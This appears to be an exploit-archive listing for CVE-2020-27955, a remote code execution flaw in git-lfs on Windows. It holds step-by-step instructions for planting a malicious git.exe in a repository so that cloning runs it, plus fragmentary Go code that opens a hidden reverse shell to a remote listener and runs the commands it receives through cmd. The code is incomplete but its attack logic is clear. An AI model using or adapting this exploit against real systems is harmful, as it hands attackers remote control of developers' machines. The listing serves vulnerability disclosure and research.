git-lfs Remote Code Execution

Proof of concept git-lfs remote code execution exploit written in Go. Affects Git, GitHub CLI, GitHub Desktop, Visual Studio, GitKraken, SmartGit, SourceTree, and more.

MD5 | 207206e22d89b9b831273f5d12954acb

Go PoC exploit for git-lfs - Remote Code Execution (RCE)
vulnerability CVE-2020-27955

Discovered by Dawid Golunski

Affected (RCE exploit):
Git / GitHub CLI / GitHub Desktop / Visual Studio / GitKraken /
SmartGit / SourceTree etc.
Basically the whole Windows dev world which uses git.

Compile: go build git-lfs-RCE-exploit-CVE-2020-27955.go
Save & commit as git.exe

The payload should get executed automatically on git clone operation.
It spawns a reverse shell, or a calc.exe for testing (if it
couldn't connect).

An lfs-enabled repository with lfs files may also be needed so that git-lfs
gets invoked. This can be achieved with:

git lfs track "*.dat"
echo "fat bug file" > lfsdata.dat
git add .*
git add *
git commmit -m 'git-lfs exploit' -a

Check out the full advisory for details:

PoC video at:

** For testing purposes only **


package main
import (

func revsh(host string) {

c, err := net.Dial("tcp", host)
if nil != err {
// Conn failed
if nil != c {
// Calc for testing purposes if no listener available
cmd := exec.Command("calc")

r := bufio.NewReader(c)
for {
runcmd, err := r.ReadString('\n')
if nil != err {
cmd := exec.Command("cmd", "/C", runcmd)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
out, _ := cmd.CombinedOutput()

// Connect to netcat listener on local port 1337
func main() {

Dawid Golunski
t: @dawid_golunski

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